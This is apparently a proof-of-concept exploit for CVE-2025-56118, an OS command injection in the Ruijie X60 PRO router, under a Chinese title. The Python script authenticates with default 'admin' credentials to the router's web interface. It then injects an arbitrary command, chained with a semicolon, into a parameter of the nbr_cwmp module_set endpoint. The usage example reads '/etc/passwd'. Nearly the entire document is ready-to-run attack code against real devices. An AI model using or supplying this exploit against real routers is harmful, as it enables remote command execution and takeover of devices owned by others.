CVE-2025-56118 锐捷X60 PRO路由器OS命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-56118 PoC - Ruijie X60 PRO OS Command Injection This PoC demonstrates the command injection vulnerability in Ruijie X60 PRO router. Target: /usr/local/lua/dev_sta/nbr_cwmp.lua - module_set endpoint """ import requests import sys def exploit_cve_2025_56118(target_ip, target_port=80, username="admin", password="admin", cmd="whoami"): """ Exploit OS Command Injection in Ruijie X60 PRO Args: target_ip: Target router IP address target_port: Target router web port (default: 80) username: Valid username for authentication password: Valid password for authentication cmd: Command to execute on the target system Returns: Response from the exploited endpoint """ # Construct the target URL url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Authentication cookies/session auth_data = { "username": username, "password": password } # Malicious payload with command injection # Using semicolon to chain commands malicious_cmd = f"{cmd};echo CVE-2025-56118" # Exploit payload for module_set endpoint exploit_data = { "module_name": "test_module", "module_param": malicious_cmd, # Command injection point "action": "set" } try: # First authenticate to get session session = requests.Session() # Login request login_url = f"http://{target_ip}:{target_port}/cgi-bin/luci" login_response = session.post(login_url, data=auth_data, timeout=10) # Send exploit request response = session.post(url, data=exploit_data, timeout=10) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Payload: {malicious_cmd}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password] [command]") print(f"Example: {sys.argv[0]} 192.168.1.1 80 admin admin 'cat /etc/passwd'") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 username = sys.argv[3] if len(sys.argv) > 3 else "admin" password = sys.argv[4] if len(sys.argv) > 4 else "admin" cmd = sys.argv[5] if len(sys.argv) > 5 else "whoami" exploit_cve_2025_56118(target_ip, target_port, username, password, cmd)